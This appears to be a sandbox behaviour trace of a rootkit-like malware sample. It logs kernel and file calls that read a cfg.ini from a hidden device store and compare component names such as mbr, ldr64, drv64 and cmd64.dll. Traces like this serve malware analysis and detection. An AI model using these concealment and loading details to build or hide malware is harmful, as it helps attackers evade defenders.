[0129.445] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.445] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.445] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.445] KeLeaveCriticalRegion () [0129.445] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.445] ReleaseMutex (hMutex=0x100) returned 1 [0129.445] Sleep (dwMilliseconds=0x2bf20) [0129.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x705a6990, dwHighDateTime=0x1d24fa4)) [0129.452] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.452] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.452] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.452] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.452] KeEnterCriticalRegion () [0129.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.453] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.453] IdePortDispatch () returned 0x103 [0129.453] KeWaitForMutexObject () returned 0x0 [0129.453] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.453] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.453] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.453] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.453] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.453] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04cb0 [0129.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.453] KeLeaveCriticalRegion () [0129.453] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.453] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.453] KeEnterCriticalRegion () [0129.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.453] KeLeaveCriticalRegion () [0129.453] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.453] KeEnterCriticalRegion () [0129.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.453] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.453] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.453] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.453] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.453] IdePortDispatch () returned 0x103 [0129.453] KeWaitForMutexObject () returned 0x0 [0129.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.454] KeLeaveCriticalRegion () [0129.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.454] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.454] KeEnterCriticalRegion () [0129.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.454] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf5000 [0129.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.454] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.454] IdePortDispatch () returned 0x103 [0129.454] KeWaitForMutexObject () returned 0x0 [0129.454] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.454] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.454] IdePortDispatch () returned 0x103 [0129.454] KeWaitForMutexObject () returned 0x0 [0129.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.454] KeLeaveCriticalRegion () [0129.454] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.455] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.455] KeEnterCriticalRegion () [0129.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] KeLeaveCriticalRegion () [0129.455] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.455] KeEnterCriticalRegion () [0129.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.455] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] KeLeaveCriticalRegion () [0129.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.455] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.455] KeEnterCriticalRegion () [0129.455] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] ExFreePoolWithTag (P=0xfffffa8003c04cb0, Tag=0x0) [0129.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.455] KeLeaveCriticalRegion () [0129.455] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.455] ReleaseMutex (hMutex=0xf0) returned 1 [0129.455] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.455] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.456] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.456] KeEnterCriticalRegion () [0129.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.456] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.456] IdePortDispatch () returned 0x103 [0129.456] KeWaitForMutexObject () returned 0x0 [0129.456] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.456] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.456] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.456] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.456] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.456] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.456] KeLeaveCriticalRegion () [0129.456] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.456] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.456] KeEnterCriticalRegion () [0129.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.456] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.456] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.456] KeLeaveCriticalRegion () [0129.456] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.456] KeEnterCriticalRegion () [0129.456] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.456] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.456] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.456] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.456] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.456] IdePortDispatch () returned 0x103 [0129.457] KeWaitForMutexObject () returned 0x0 [0129.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.457] KeLeaveCriticalRegion () [0129.457] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.457] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.457] KeEnterCriticalRegion () [0129.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.457] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf6000 [0129.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.457] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.457] IdePortDispatch () returned 0x103 [0129.457] KeWaitForMutexObject () returned 0x0 [0129.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.457] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.457] IdePortDispatch () returned 0x103 [0129.457] KeWaitForMutexObject () returned 0x0 [0129.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.458] KeLeaveCriticalRegion () [0129.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.458] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.458] KeEnterCriticalRegion () [0129.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.458] KeLeaveCriticalRegion () [0129.458] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.458] KeEnterCriticalRegion () [0129.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.458] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.458] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.458] KeLeaveCriticalRegion () [0129.458] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.458] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.458] KeEnterCriticalRegion () [0129.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] KeLeaveCriticalRegion () [0129.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.459] ReleaseMutex (hMutex=0xf0) returned 1 [0129.459] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.459] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.459] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.459] KeEnterCriticalRegion () [0129.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.459] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.459] IdePortDispatch () returned 0x103 [0129.459] KeWaitForMutexObject () returned 0x0 [0129.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.459] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.459] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.459] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.459] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.459] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e1f10 [0129.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] KeLeaveCriticalRegion () [0129.459] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.459] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.459] KeEnterCriticalRegion () [0129.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.459] KeLeaveCriticalRegion () [0129.459] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.460] KeEnterCriticalRegion () [0129.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.460] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.460] IdePortDispatch () returned 0x103 [0129.460] KeWaitForMutexObject () returned 0x0 [0129.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.460] KeLeaveCriticalRegion () [0129.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.460] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.460] KeEnterCriticalRegion () [0129.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf7000 [0129.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.460] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.460] IdePortDispatch () returned 0x103 [0129.460] KeWaitForMutexObject () returned 0x0 [0129.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.461] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.461] IdePortDispatch () returned 0x103 [0129.461] KeWaitForMutexObject () returned 0x0 [0129.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.461] KeLeaveCriticalRegion () [0129.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.461] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.461] KeEnterCriticalRegion () [0129.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.461] KeLeaveCriticalRegion () [0129.461] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.461] KeEnterCriticalRegion () [0129.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.461] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.462] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.462] KeLeaveCriticalRegion () [0129.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.462] KeEnterCriticalRegion () [0129.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.462] ExFreePoolWithTag (P=0xfffffa80037e1f10, Tag=0x0) [0129.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.462] KeLeaveCriticalRegion () [0129.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.462] ReleaseMutex (hMutex=0xf0) returned 1 [0129.462] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.462] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.462] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.462] KeEnterCriticalRegion () [0129.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.462] IdePortDispatch () returned 0x103 [0129.462] KeWaitForMutexObject () returned 0x0 [0129.462] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.462] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.462] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.462] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.462] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.462] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.462] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.462] _strnicmp (_Str1="cmd.dll", 